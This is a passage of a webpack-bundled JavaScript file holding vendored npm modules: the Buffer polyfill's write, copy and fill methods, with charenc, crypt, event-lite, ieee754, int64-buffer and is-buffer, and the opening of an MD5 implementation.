                        if (Buffer.TYPED_ARRAY_SUPPORT) {
                            this[offset] = (value & 0xff)
                            this[offset + 1] = (value >>> 8)
                            this[offset + 2] = (value >>> 16)
                            this[offset + 3] = (value >>> 24)
                        } else {
                            objectWriteUInt32(this, value, offset, true)
                        }
                        return offset + 4
                    }

                    Buffer.prototype.writeInt32BE = function writeInt32BE (value, offset, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) checkInt(this, value, offset, 4, 0x7fffffff, -0x80000000)
                        if (value < 0) value = 0xffffffff + value + 1
                        if (Buffer.TYPED_ARRAY_SUPPORT) {
                            this[offset] = (value >>> 24)
                            this[offset + 1] = (value >>> 16)
                            this[offset + 2] = (value >>> 8)
                            this[offset + 3] = (value & 0xff)
                        } else {
                            objectWriteUInt32(this, value, offset, false)
                        }
                        return offset + 4
                    }

                    function checkIEEE754 (buf, value, offset, ext, max, min) {
                        if (offset + ext > buf.length) throw new RangeError('Index out of range')
                        if (offset < 0) throw new RangeError('Index out of range')
                    }

                    function writeFloat (buf, value, offset, littleEndian, noAssert) {
                        if (!noAssert) {
                            checkIEEE754(buf, value, offset, 4, 3.4028234663852886e+38, -3.4028234663852886e+38)
                        }
                        ieee754.write(buf, value, offset, littleEndian, 23, 4)
                        return offset + 4
                    }

                    Buffer.prototype.writeFloatLE = function writeFloatLE (value, offset, noAssert) {
                        return writeFloat(this, value, offset, true, noAssert)
                    }

                    Buffer.prototype.writeFloatBE = function writeFloatBE (value, offset, noAssert) {
                        return writeFloat(this, value, offset, false, noAssert)
                    }

                    function writeDouble (buf, value, offset, littleEndian, noAssert) {
                        if (!noAssert) {
                            checkIEEE754(buf, value, offset, 8, 1.7976931348623157E+308, -1.7976931348623157E+308)
                        }
                        ieee754.write(buf, value, offset, littleEndian, 52, 8)
                        return offset + 8
                    }

                    Buffer.prototype.writeDoubleLE = function writeDoubleLE (value, offset, noAssert) {
                        return writeDouble(this, value, offset, true, noAssert)
                    }

                    Buffer.prototype.writeDoubleBE = function writeDoubleBE (value, offset, noAssert) {
                        return writeDouble(this, value, offset, false, noAssert)
                    }

                    // copy(targetBuffer, targetStart=0, sourceStart=0, sourceEnd=buffer.length)
                    Buffer.prototype.copy = function copy (target, targetStart, start, end) {
                        if (!start) start = 0
                        if (!end && end !== 0) end = this.length
                        if (targetStart >= target.length) targetStart = target.length
                        if (!targetStart) targetStart = 0
                        if (end > 0 && end < start) end = start

                        // Copy 0 bytes; we're done
                        if (end === start) return 0
                        if (target.length === 0 || this.length === 0) return 0

                        // Fatal error conditions
                        if (targetStart < 0) {
                            throw new RangeError('targetStart out of bounds')
                        }
                        if (start < 0 || start >= this.length) throw new RangeError('sourceStart out of bounds')
                        if (end < 0) throw new RangeError('sourceEnd out of bounds')

                        // Are we oob?
                        if (end > this.length) end = this.length
                        if (target.length - targetStart < end - start) {
                            end = target.length - targetStart + start
                        }

                        var len = end - start
                        var i

                        if (this === target && start < targetStart && targetStart < end) {
                            // descending copy from end
                            for (i = len - 1; i >= 0; --i) {
                                target[i + targetStart] = this[i + start]
                            }
                        } else if (len < 1000 || !Buffer.TYPED_ARRAY_SUPPORT) {
                            // ascending copy from start
                            for (i = 0; i < len; ++i) {
                                target[i + targetStart] = this[i + start]
                            }
                        } else {
                            Uint8Array.prototype.set.call(
                                target,
                                this.subarray(start, start + len),
                                targetStart
                            )
                        }

                        return len
                    }

                    // Usage:
                    //    buffer.fill(number[, offset[, end]])
                    //    buffer.fill(buffer[, offset[, end]])
                    //    buffer.fill(string[, offset[, end]][, encoding])
                    Buffer.prototype.fill = function fill (val, start, end, encoding) {
                        // Handle string cases:
                        if (typeof val === 'string') {
                            if (typeof start === 'string') {
                                encoding = start
                                start = 0
                                end = this.length
                            } else if (typeof end === 'string') {
                                encoding = end
                                end = this.length
                            }
                            if (val.length === 1) {
                                var code = val.charCodeAt(0)
                                if (code < 256) {
                                    val = code
                                }
                            }
                            if (encoding !== undefined && typeof encoding !== 'string') {
                                throw new TypeError('encoding must be a string')
                            }
                            if (typeof encoding === 'string' && !Buffer.isEncoding(encoding)) {
                                throw new TypeError('Unknown encoding: ' + encoding)
                            }
                        } else if (typeof val === 'number') {
                            val = val & 255
                        }

                        // Invalid ranges are not set to a default, so can range check early.
                        if (start < 0 || this.length < start || this.length < end) {
                            throw new RangeError('Out of range index')
                        }

                        if (end <= start) {
                            return this
                        }

                        start = start >>> 0
                        end = end === undefined ? this.length : end >>> 0

                        if (!val) val = 0

                        var i
                        if (typeof val === 'number') {
                            for (i = start; i < end; ++i) {
                                this[i] = val
                            }
                        } else {
                            var bytes = Buffer.isBuffer(val)
                            ? val
                            : utf8ToBytes(new Buffer(val, encoding).toString())
                            var len = bytes.length
                            for (i = 0; i < end - start; ++i) {
                                this[i + start] = bytes[i % len]
                            }
                        }

                        return this
                    }

                    // HELPER FUNCTIONS
                    // ================

                    var INVALID_BASE64_RE = /[^+\/0-9A-Za-z-_]/g

                    function base64clean (str) {
                        // Node strips out invalid characters like \n and \t from the string, base64-js does not
                        str = stringtrim(str).replace(INVALID_BASE64_RE, '')
                        // Node converts strings with length < 2 to ''
                        if (str.length < 2) return ''
                        // Node allows for non-padded base64 strings (missing trailing ===), base64-js does not
                        while (str.length % 4 !== 0) {
                            str = str + '='
                        }
                        return str
                    }

                    function stringtrim (str) {
                        if (str.trim) return str.trim()
                        return str.replace(/^\s+|\s+$/g, '')
                    }

                    function toHex (n) {
                        if (n < 16) return '0' + n.toString(16)
                        return n.toString(16)
                    }

                    function utf8ToBytes (string, units) {
                        units = units || Infinity
                        var codePoint
                        var length = string.length
                        var leadSurrogate = null
                        var bytes = []

                        for (var i = 0; i < length; ++i) {
                            codePoint = string.charCodeAt(i)

                            // is surrogate component
                            if (codePoint > 0xD7FF && codePoint < 0xE000) {
                                // last char was a lead
                                if (!leadSurrogate) {
                                    // no lead yet
                                    if (codePoint > 0xDBFF) {
                                        // unexpected trail
                                        if ((units -= 3) > -1) bytes.push(0xEF, 0xBF, 0xBD)
                                        continue
                                    } else if (i + 1 === length) {
                                        // unpaired lead
                                        if ((units -= 3) > -1) bytes.push(0xEF, 0xBF, 0xBD)
                                        continue
                                    }

                                    // valid lead
                                    leadSurrogate = codePoint

                                    continue
                                }

                                // 2 leads in a row
                                if (codePoint < 0xDC00) {
                                    if ((units -= 3) > -1) bytes.push(0xEF, 0xBF, 0xBD)
                                    leadSurrogate = codePoint
                                    continue
                                }

                                // valid surrogate pair
                                codePoint = (leadSurrogate - 0xD800 << 10 | codePoint - 0xDC00) + 0x10000
                            } else if (leadSurrogate) {
                                // valid bmp char, but last char was a lead
                                if ((units -= 3) > -1) bytes.push(0xEF, 0xBF, 0xBD)
                            }

                            leadSurrogate = null

                            // encode utf8
                            if (codePoint < 0x80) {
                                if ((units -= 1) < 0) break
                                bytes.push(codePoint)
                            } else if (codePoint < 0x800) {
                                if ((units -= 2) < 0) break
                                bytes.push(
                                    codePoint >> 0x6 | 0xC0,
                                    codePoint & 0x3F | 0x80
                                )
                            } else if (codePoint < 0x10000) {
                                if ((units -= 3) < 0) break
                                bytes.push(
                                    codePoint >> 0xC | 0xE0,
                                    codePoint >> 0x6 & 0x3F | 0x80,
                                    codePoint & 0x3F | 0x80
                                )
                            } else if (codePoint < 0x110000) {
                                if ((units -= 4) < 0) break
                                bytes.push(
                                    codePoint >> 0x12 | 0xF0,
                                    codePoint >> 0xC & 0x3F | 0x80,
                                    codePoint >> 0x6 & 0x3F | 0x80,
                                    codePoint & 0x3F | 0x80
                                )
                            } else {
                                throw new Error('Invalid code point')
                            }
                        }

                        return bytes
                    }

                    function asciiToBytes (str) {
                        var byteArray = []
                        for (var i = 0; i < str.length; ++i) {
                            // Node's code seems to be doing this and not & 0x7F..
                            byteArray.push(str.charCodeAt(i) & 0xFF)
                        }
                        return byteArray
                    }

                    function utf16leToBytes (str, units) {
                        var c, hi, lo
                        var byteArray = []
                        for (var i = 0; i < str.length; ++i) {
                            if ((units -= 2) < 0) break

                            c = str.charCodeAt(i)
                            hi = c >> 8
                            lo = c % 256
                            byteArray.push(lo)
                            byteArray.push(hi)
                        }

                        return byteArray
                    }

                    function base64ToBytes (str) {
                        return base64.toByteArray(base64clean(str))
                    }

                    function blitBuffer (src, dst, offset, length) {
                        for (var i = 0; i < length; ++i) {
                            if ((i + offset >= dst.length) || (i >= src.length)) break
                            dst[i + offset] = src[i]
                        }
                        return i
                    }

                    function isnan (val) {
                        return val !== val // eslint-disable-line no-self-compare
                    }

                    /* WEBPACK VAR INJECTION */}.call(this, __webpack_require__(/*! ./../webpack/buildin/global.js */ "./node_modules/webpack/buildin/global.js")))

                /***/ }),

            /***/ "./node_modules/buffer/node_modules/isarray/index.js":
            /*!***********************************************************!*\
      !*** ./node_modules/buffer/node_modules/isarray/index.js ***!
      \***********************************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                var toString = {}.toString;

                module.exports = Array.isArray || function (arr) {
                    return toString.call(arr) == '[object Array]';
                };


                /***/ }),

            /***/ "./node_modules/charenc/charenc.js":
            /*!*****************************************!*\
      !*** ./node_modules/charenc/charenc.js ***!
      \*****************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                var charenc = {
                    // UTF-8 encoding
                    utf8: {
                        // Convert a string to a byte array
                        stringToBytes: function(str) {
                            return charenc.bin.stringToBytes(unescape(encodeURIComponent(str)));
                        },

                        // Convert a byte array to a string
                        bytesToString: function(bytes) {
                            return decodeURIComponent(escape(charenc.bin.bytesToString(bytes)));
                        }
                    },

                    // Binary encoding
                    bin: {
                        // Convert a string to a byte array
                        stringToBytes: function(str) {
                            for (var bytes = [], i = 0; i < str.length; i++)
                                bytes.push(str.charCodeAt(i) & 0xFF);
                            return bytes;
                        },

                        // Convert a byte array to a string
                        bytesToString: function(bytes) {
                            for (var str = [], i = 0; i < bytes.length; i++)
                                str.push(String.fromCharCode(bytes[i]));
                            return str.join('');
                        }
                    }
                };

                module.exports = charenc;


                /***/ }),

            /***/ "./node_modules/crypt/crypt.js":
            /*!*************************************!*\
      !*** ./node_modules/crypt/crypt.js ***!
      \*************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                (function() {
                    var base64map
                    = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',

                        crypt = {
                            // Bit-wise rotation left
                            rotl: function(n, b) {
                                return (n << b) | (n >>> (32 - b));
                            },

                            // Bit-wise rotation right
                            rotr: function(n, b) {
                                return (n << (32 - b)) | (n >>> b);
                            },

                            // Swap big-endian to little-endian and vice versa
                            endian: function(n) {
                                // If number given, swap endian
                                if (n.constructor == Number) {
                                    return crypt.rotl(n, 8) & 0x00FF00FF | crypt.rotl(n, 24) & 0xFF00FF00;
                                }

                                // Else, assume array and swap all items
                                for (var i = 0; i < n.length; i++)
                                    n[i] = crypt.endian(n[i]);
                                return n;
                            },

                            // Generate an array of any length of random bytes
                            randomBytes: function(n) {
                                for (var bytes = []; n > 0; n--)
                                    bytes.push(Math.floor(Math.random() * 256));
                                return bytes;
                            },

                            // Convert a byte array to big-endian 32-bit words
                            bytesToWords: function(bytes) {
                                for (var words = [], i = 0, b = 0; i < bytes.length; i++, b += 8)
                                    words[b >>> 5] |= bytes[i] << (24 - b % 32);
                                return words;
                            },

                            // Convert big-endian 32-bit words to a byte array
                            wordsToBytes: function(words) {
                                for (var bytes = [], b = 0; b < words.length * 32; b += 8)
                                    bytes.push((words[b >>> 5] >>> (24 - b % 32)) & 0xFF);
                                return bytes;
                            },

                            // Convert a byte array to a hex string
                            bytesToHex: function(bytes) {
                                for (var hex = [], i = 0; i < bytes.length; i++) {
                                    hex.push((bytes[i] >>> 4).toString(16));
                                    hex.push((bytes[i] & 0xF).toString(16));
                                }
                                return hex.join('');
                            },

                            // Convert a hex string to a byte array
                            hexToBytes: function(hex) {
                                for (var bytes = [], c = 0; c < hex.length; c += 2)
                                    bytes.push(parseInt(hex.substr(c, 2), 16));
                                return bytes;
                            },

                            // Convert a byte array to a base-64 string
                            bytesToBase64: function(bytes) {
                                for (var base64 = [], i = 0; i < bytes.length; i += 3) {
                                    var triplet = (bytes[i] << 16) | (bytes[i + 1] << 8) | bytes[i + 2];
                                    for (var j = 0; j < 4; j++)
                                        if (i * 8 + j * 6 <= bytes.length * 8)
                                            base64.push(base64map.charAt((triplet >>> 6 * (3 - j)) & 0x3F));
                                        else
                                            base64.push('=');
                                }
                                return base64.join('');
                            },

                            // Convert a base-64 string to a byte array
                            base64ToBytes: function(base64) {
                                // Remove non-base-64 characters
                                base64 = base64.replace(/[^A-Z0-9+\/]/ig, '');

                                for (var bytes = [], i = 0, imod4 = 0; i < base64.length;
                                     imod4 = ++i % 4) {
                                    if (imod4 == 0) continue;
                                    bytes.push(((base64map.indexOf(base64.charAt(i - 1))
                                                 & (Math.pow(2, -2 * imod4 + 8) - 1)) << (imod4 * 2))
                                               | (base64map.indexOf(base64.charAt(i)) >>> (6 - imod4 * 2)));
                                }
                                return bytes;
                            }
                        };

                    module.exports = crypt;
                })();


                /***/ }),

            /***/ "./node_modules/event-lite/event-lite.js":
            /*!***********************************************!*\
      !*** ./node_modules/event-lite/event-lite.js ***!
      \***********************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                /**
     * event-lite.js - Light-weight EventEmitter (less than 1KB when gzipped)
     *
     * @copyright Yusuke Kawasaki
     * @license MIT
     * @constructor
     * @see https://github.com/kawanet/event-lite
     * @see http://kawanet.github.io/event-lite/EventLite.html
     * @example
     * var EventLite = require("event-lite");
     *
     * function MyClass() {...}             // your class
     *
     * EventLite.mixin(MyClass.prototype);  // import event methods
     *
     * var obj = new MyClass();
     * obj.on("foo", function() {...});     // add event listener
     * obj.once("bar", function() {...});   // add one-time event listener
     * obj.emit("foo");                     // dispatch event
     * obj.emit("bar");                     // dispatch another event
     * obj.off("foo");                      // remove event listener
     */

                function EventLite() {
                    if (!(this instanceof EventLite)) return new EventLite();
                }

                (function(EventLite) {
                    // export the class for node.js
                    if (true) module.exports = EventLite;

                    // property name to hold listeners
                    var LISTENERS = "listeners";

                    // methods to export
                    var methods = {
                        on: on,
                        once: once,
                        off: off,
                        emit: emit
                    };

                    // mixin to self
                    mixin(EventLite.prototype);

                    // export mixin function
                    EventLite.mixin = mixin;

                    /**
       * Import on(), once(), off() and emit() methods into target object.
       *
       * @function EventLite.mixin
       * @param target {Prototype}
       */

                    function mixin(target) {
                        for (var key in methods) {
                            target[key] = methods[key];
                        }
                        return target;
                    }

                    /**
       * Add an event listener.
       *
       * @function EventLite.prototype.on
       * @param type {string}
       * @param func {Function}
       * @returns {EventLite} Self for method chaining
       */

                    function on(type, func) {
                        getListeners(this, type).push(func);
                        return this;
                    }

                    /**
       * Add one-time event listener.
       *
       * @function EventLite.prototype.once
       * @param type {string}
       * @param func {Function}
       * @returns {EventLite} Self for method chaining
       */

                    function once(type, func) {
                        var that = this;
                        wrap.originalListener = func;
                        getListeners(that, type).push(wrap);
                        return that;

                        function wrap() {
                            off.call(that, type, wrap);
                            func.apply(this, arguments);
                        }
                    }

                    /**
       * Remove an event listener.
       *
       * @function EventLite.prototype.off
       * @param [type] {string}
       * @param [func] {Function}
       * @returns {EventLite} Self for method chaining
       */

                    function off(type, func) {
                        var that = this;
                        var listners;
                        if (!arguments.length) {
                            delete that[LISTENERS];
                        } else if (!func) {
                            listners = that[LISTENERS];
                            if (listners) {
                                delete listners[type];
                                if (!Object.keys(listners).length) return off.call(that);
                            }
                        } else {
                            listners = getListeners(that, type, true);
                            if (listners) {
                                listners = listners.filter(ne);
                                if (!listners.length) return off.call(that, type);
                                that[LISTENERS][type] = listners;
                            }
                        }
                        return that;

                        function ne(test) {
                            return test !== func && test.originalListener !== func;
                        }
                    }

                    /**
       * Dispatch (trigger) an event.
       *
       * @function EventLite.prototype.emit
       * @param type {string}
       * @param [value] {*}
       * @returns {boolean} True when a listener received the event
       */

                    function emit(type, value) {
                        var that = this;
                        var listeners = getListeners(that, type, true);
                        if (!listeners) return false;
                        var arglen = arguments.length;
                        if (arglen === 1) {
                            listeners.forEach(zeroarg);
                        } else if (arglen === 2) {
                            listeners.forEach(onearg);
                        } else {
                            var args = Array.prototype.slice.call(arguments, 1);
                            listeners.forEach(moreargs);
                        }
                        return !!listeners.length;

                        function zeroarg(func) {
                            func.call(that);
                        }

                        function onearg(func) {
                            func.call(that, value);
                        }

                        function moreargs(func) {
                            func.apply(that, args);
                        }
                    }

                    /**
       * @ignore
       */

                    function getListeners(that, type, readonly) {
                        if (readonly && !that[LISTENERS]) return;
                        var listeners = that[LISTENERS] || (that[LISTENERS] = {});
                        return listeners[type] || (listeners[type] = []);
                    }

                })(EventLite);


                /***/ }),

            /***/ "./node_modules/ieee754/index.js":
            /*!***************************************!*\
      !*** ./node_modules/ieee754/index.js ***!
      \***************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                exports.read = function (buffer, offset, isLE, mLen, nBytes) {
                    var e, m
                    var eLen = (nBytes * 8) - mLen - 1
                    var eMax = (1 << eLen) - 1
                    var eBias = eMax >> 1
                    var nBits = -7
                    var i = isLE ? (nBytes - 1) : 0
                    var d = isLE ? -1 : 1
                    var s = buffer[offset + i]

                    i += d

                    e = s & ((1 << (-nBits)) - 1)
                    s >>= (-nBits)
                    nBits += eLen
                    for (; nBits > 0; e = (e * 256) + buffer[offset + i], i += d, nBits -= 8) {}

                    m = e & ((1 << (-nBits)) - 1)
                    e >>= (-nBits)
                    nBits += mLen
                    for (; nBits > 0; m = (m * 256) + buffer[offset + i], i += d, nBits -= 8) {}

                    if (e === 0) {
                        e = 1 - eBias
                    } else if (e === eMax) {
                        return m ? NaN : ((s ? -1 : 1) * Infinity)
                    } else {
                        m = m + Math.pow(2, mLen)
                        e = e - eBias
                    }
                    return (s ? -1 : 1) * m * Math.pow(2, e - mLen)
                }

                exports.write = function (buffer, value, offset, isLE, mLen, nBytes) {
                    var e, m, c
                    var eLen = (nBytes * 8) - mLen - 1
                    var eMax = (1 << eLen) - 1
                    var eBias = eMax >> 1
                    var rt = (mLen === 23 ? Math.pow(2, -24) - Math.pow(2, -77) : 0)
                    var i = isLE ? 0 : (nBytes - 1)
                    var d = isLE ? 1 : -1
                    var s = value < 0 || (value === 0 && 1 / value < 0) ? 1 : 0

                    value = Math.abs(value)

                    if (isNaN(value) || value === Infinity) {
                        m = isNaN(value) ? 1 : 0
                        e = eMax
                    } else {
                        e = Math.floor(Math.log(value) / Math.LN2)
                        if (value * (c = Math.pow(2, -e)) < 1) {
                            e--
                            c *= 2
                        }
                        if (e + eBias >= 1) {
                            value += rt / c
                        } else {
                            value += rt * Math.pow(2, 1 - eBias)
                        }
                        if (value * c >= 2) {
                            e++
                            c /= 2
                        }

                        if (e + eBias >= eMax) {
                            m = 0
                            e = eMax
                        } else if (e + eBias >= 1) {
                            m = ((value * c) - 1) * Math.pow(2, mLen)
                            e = e + eBias
                        } else {
                            m = value * Math.pow(2, eBias - 1) * Math.pow(2, mLen)
                            e = 0
                        }
                    }

                    for (; mLen >= 8; buffer[offset + i] = m & 0xff, i += d, m /= 256, mLen -= 8) {}

                    e = (e << mLen) | m
                    eLen += mLen
                    for (; eLen > 0; buffer[offset + i] = e & 0xff, i += d, e /= 256, eLen -= 8) {}

                    buffer[offset + i - d] |= s * 128
                }


                /***/ }),

            /***/ "./node_modules/int64-buffer/int64-buffer.js":
            /*!***************************************************!*\
      !*** ./node_modules/int64-buffer/int64-buffer.js ***!
      \***************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                /* WEBPACK VAR INJECTION */(function(Buffer) {// int64-buffer.js

                    /*jshint -W018 */ // Confusing use of '!'.
                    /*jshint -W030 */ // Expected an assignment or function call and instead saw an expression.
                    /*jshint -W093 */ // Did you mean to return a conditional instead of an assignment?

                    var Uint64BE, Int64BE, Uint64LE, Int64LE;

                    !function(exports) {
                        // constants

                        var UNDEFINED = "undefined";
                        var BUFFER = (UNDEFINED !== typeof Buffer) && Buffer;
                        var UINT8ARRAY = (UNDEFINED !== typeof Uint8Array) && Uint8Array;
                        var ARRAYBUFFER = (UNDEFINED !== typeof ArrayBuffer) && ArrayBuffer;
                        var ZERO = [0, 0, 0, 0, 0, 0, 0, 0];
                        var isArray = Array.isArray || _isArray;
                        var BIT32 = 4294967296;
                        var BIT24 = 16777216;

                        // storage class

                        var storage; // Array;

                        // generate classes

                        Uint64BE = factory("Uint64BE", true, true);
                        Int64BE = factory("Int64BE", true, false);
                        Uint64LE = factory("Uint64LE", false, true);
                        Int64LE = factory("Int64LE", false, false);

                        // class factory

                        function factory(name, bigendian, unsigned) {
                            var posH = bigendian ? 0 : 4;
                            var posL = bigendian ? 4 : 0;
                            var pos0 = bigendian ? 0 : 3;
                            var pos1 = bigendian ? 1 : 2;
                            var pos2 = bigendian ? 2 : 1;
                            var pos3 = bigendian ? 3 : 0;
                            var fromPositive = bigendian ? fromPositiveBE : fromPositiveLE;
                            var fromNegative = bigendian ? fromNegativeBE : fromNegativeLE;
                            var proto = Int64.prototype;
                            var isName = "is" + name;
                            var _isInt64 = "_" + isName;

                            // properties
                            proto.buffer = void 0;
                            proto.offset = 0;
                            proto[_isInt64] = true;

                            // methods
                            proto.toNumber = toNumber;
                            proto.toString = toString;
                            proto.toJSON = toNumber;
                            proto.toArray = toArray;

                            // add .toBuffer() method only when Buffer available
                            if (BUFFER) proto.toBuffer = toBuffer;

                            // add .toArrayBuffer() method only when Uint8Array available
                            if (UINT8ARRAY) proto.toArrayBuffer = toArrayBuffer;

                            // isUint64BE, isInt64BE
                            Int64[isName] = isInt64;

                            // CommonJS
                            exports[name] = Int64;

                            return Int64;

                            // constructor
                            function Int64(buffer, offset, value, raddix) {
                                if (!(this instanceof Int64)) return new Int64(buffer, offset, value, raddix);
                                return init(this, buffer, offset, value, raddix);
                            }

                            // isUint64BE, isInt64BE
                            function isInt64(b) {
                                return !!(b && b[_isInt64]);
                            }

                            // initializer
                            function init(that, buffer, offset, value, raddix) {
                                if (UINT8ARRAY && ARRAYBUFFER) {
                                    if (buffer instanceof ARRAYBUFFER) buffer = new UINT8ARRAY(buffer);
                                    if (value instanceof ARRAYBUFFER) value = new UINT8ARRAY(value);
                                }

                                // Int64BE() style
                                if (!buffer && !offset && !value && !storage) {
                                    // shortcut to initialize with zero
                                    that.buffer = newArray(ZERO, 0);
                                    return;
                                }

                                // Int64BE(value, raddix) style
                                if (!isValidBuffer(buffer, offset)) {
                                    var _storage = storage || Array;
                                    raddix = offset;
                                    value = buffer;
                                    offset = 0;
                                    buffer = new _storage(8);
                                }

                                that.buffer = buffer;
                                that.offset = offset |= 0;

                                // Int64BE(buffer, offset) style
                                if (UNDEFINED === typeof value) return;

                                // Int64BE(buffer, offset, value, raddix) style
                                if ("string" === typeof value) {
                                    fromString(buffer, offset, value, raddix || 10);
                                } else if (isValidBuffer(value, raddix)) {
                                    fromArray(buffer, offset, value, raddix);
                                } else if ("number" === typeof raddix) {
                                    writeInt32(buffer, offset + posH, value); // high
                                    writeInt32(buffer, offset + posL, raddix); // low
                                } else if (value > 0) {
                                    fromPositive(buffer, offset, value); // positive
                                } else if (value < 0) {
                                    fromNegative(buffer, offset, value); // negative
                                } else {
                                    fromArray(buffer, offset, ZERO, 0); // zero, NaN and others
                                }
                            }

                            function fromString(buffer, offset, str, raddix) {
                                var pos = 0;
                                var len = str.length;
                                var high = 0;
                                var low = 0;
                                if (str[0] === "-") pos++;
                                var sign = pos;
                                while (pos < len) {
                                    var chr = parseInt(str[pos++], raddix);
                                    if (!(chr >= 0)) break; // NaN
                                    low = low * raddix + chr;
                                    high = high * raddix + Math.floor(low / BIT32);
                                    low %= BIT32;
                                }
                                if (sign) {
                                    high = ~high;
                                    if (low) {
                                        low = BIT32 - low;
                                    } else {
                                        high++;
                                    }
                                }
                                writeInt32(buffer, offset + posH, high);
                                writeInt32(buffer, offset + posL, low);
                            }

                            function toNumber() {
                                var buffer = this.buffer;
                                var offset = this.offset;
                                var high = readInt32(buffer, offset + posH);
                                var low = readInt32(buffer, offset + posL);
                                if (!unsigned) high |= 0; // a trick to get signed
                                return high ? (high * BIT32 + low) : low;
                            }

                            function toString(radix) {
                                var buffer = this.buffer;
                                var offset = this.offset;
                                var high = readInt32(buffer, offset + posH);
                                var low = readInt32(buffer, offset + posL);
                                var str = "";
                                var sign = !unsigned && (high & 0x80000000);
                                if (sign) {
                                    high = ~high;
                                    low = BIT32 - low;
                                }
                                radix = radix || 10;
                                while (1) {
                                    var mod = (high % radix) * BIT32 + low;
                                    high = Math.floor(high / radix);
                                    low = Math.floor(mod / radix);
                                    str = (mod % radix).toString(radix) + str;
                                    if (!high && !low) break;
                                }
                                if (sign) {
                                    str = "-" + str;
                                }
                                return str;
                            }

                            function writeInt32(buffer, offset, value) {
                                buffer[offset + pos3] = value & 255;
                                value = value >> 8;
                                buffer[offset + pos2] = value & 255;
                                value = value >> 8;
                                buffer[offset + pos1] = value & 255;
                                value = value >> 8;
                                buffer[offset + pos0] = value & 255;
                            }

                            function readInt32(buffer, offset) {
                                return (buffer[offset + pos0] * BIT24) +
                                    (buffer[offset + pos1] << 16) +
                                    (buffer[offset + pos2] << 8) +
                                    buffer[offset + pos3];
                            }
                        }

                        function toArray(raw) {
                            var buffer = this.buffer;
                            var offset = this.offset;
                            storage = null; // Array
                            if (raw !== false && offset === 0 && buffer.length === 8 && isArray(buffer)) return buffer;
                            return newArray(buffer, offset);
                        }

                        function toBuffer(raw) {
                            var buffer = this.buffer;
                            var offset = this.offset;
                            storage = BUFFER;
                            if (raw !== false && offset === 0 && buffer.length === 8 && Buffer.isBuffer(buffer)) return buffer;
                            var dest = new BUFFER(8);
                            fromArray(dest, 0, buffer, offset);
                            return dest;
                        }

                        function toArrayBuffer(raw) {
                            var buffer = this.buffer;
                            var offset = this.offset;
                            var arrbuf = buffer.buffer;
                            storage = UINT8ARRAY;
                            if (raw !== false && offset === 0 && (arrbuf instanceof ARRAYBUFFER) && arrbuf.byteLength === 8) return arrbuf;
                            var dest = new UINT8ARRAY(8);
                            fromArray(dest, 0, buffer, offset);
                            return dest.buffer;
                        }

                        function isValidBuffer(buffer, offset) {
                            var len = buffer && buffer.length;
                            offset |= 0;
                            return len && (offset + 8 <= len) && ("string" !== typeof buffer[offset]);
                        }

                        function fromArray(destbuf, destoff, srcbuf, srcoff) {
                            destoff |= 0;
                            srcoff |= 0;
                            for (var i = 0; i < 8; i++) {
                                destbuf[destoff++] = srcbuf[srcoff++] & 255;
                            }
                        }

                        function newArray(buffer, offset) {
                            return Array.prototype.slice.call(buffer, offset, offset + 8);
                        }

                        function fromPositiveBE(buffer, offset, value) {
                            var pos = offset + 8;
                            while (pos > offset) {
                                buffer[--pos] = value & 255;
                                value /= 256;
                            }
                        }

                        function fromNegativeBE(buffer, offset, value) {
                            var pos = offset + 8;
                            value++;
                            while (pos > offset) {
                                buffer[--pos] = ((-value) & 255) ^ 255;
                                value /= 256;
                            }
                        }

                        function fromPositiveLE(buffer, offset, value) {
                            var end = offset + 8;
                            while (offset < end) {
                                buffer[offset++] = value & 255;
                                value /= 256;
                            }
                        }

                        function fromNegativeLE(buffer, offset, value) {
                            var end = offset + 8;
                            value++;
                            while (offset < end) {
                                buffer[offset++] = ((-value) & 255) ^ 255;
                                value /= 256;
                            }
                        }

                        // https://github.com/retrofox/is-array
                        function _isArray(val) {
                            return !!val && "[object Array]" == Object.prototype.toString.call(val);
                        }

                    }( true && typeof exports.nodeName !== 'string' ? exports : (this || {}));

                    /* WEBPACK VAR INJECTION */}.call(this, __webpack_require__(/*! ./../buffer/index.js */ "./node_modules/buffer/index.js").Buffer))

                /***/ }),

            /***/ "./node_modules/is-buffer/index.js":
            /*!*****************************************!*\
      !*** ./node_modules/is-buffer/index.js ***!
      \*****************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                /*!
     * Determine if an object is a Buffer
     *
     * @author   Feross Aboukhadijeh <https://feross.org>
     * @license  MIT
     */

                // The _isBuffer check is for Safari 5-7 support, because it's missing
                // Object.prototype.constructor. Remove this eventually
                module.exports = function (obj) {
                    return obj != null && (isBuffer(obj) || isSlowBuffer(obj) || !!obj._isBuffer)
                }

                function isBuffer (obj) {
                    return !!obj.constructor && typeof obj.constructor.isBuffer === 'function' && obj.constructor.isBuffer(obj)
                }

                // For Node v0.10 support. Remove this eventually.
                function isSlowBuffer (obj) {
                    return typeof obj.readFloatLE === 'function' && typeof obj.slice === 'function' && isBuffer(obj.slice(0, 0))
                }


                /***/ }),

            /***/ "./node_modules/md5/md5.js":
            /*!*********************************!*\
      !*** ./node_modules/md5/md5.js ***!
      \*********************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                (function(){
                    var crypt = __webpack_require__(/*! crypt */ "./node_modules/crypt/crypt.js"),
                        utf8 = __webpack_require__(/*! charenc */ "./node_modules/charenc/charenc.js").utf8,
                        isBuffer = __webpack_require__(/*! is-buffer */ "./node_modules/is-buffer/index.js"),
                        bin = __webpack_require__(/*! charenc */ "./node_modules/charenc/charenc.js").bin,

                        // The core
                        md5 = function (message, options) {
                            // Convert to byte array
                            if (message.constructor == String)
                                if (options && options.encoding === 'binary')
                                    message = bin.stringToBytes(message);
                                else
                                    message = utf8.stringToBytes(message);
                            else if (isBuffer(message))
                                message = Array.prototype.slice.call(message, 0);
                            else if (!Array.isArray(message))
                                message = message.toString();
                            // else, assume byte array already

                            var m = crypt.bytesToWords(message),
                                l = message.length * 8,
                                a =  1732584193,
                                b = -271733879,
                                c = -1732584194,
                                d =  271733878;

                            // Swap endian
                            for (var i = 0; i < m.length; i++) {
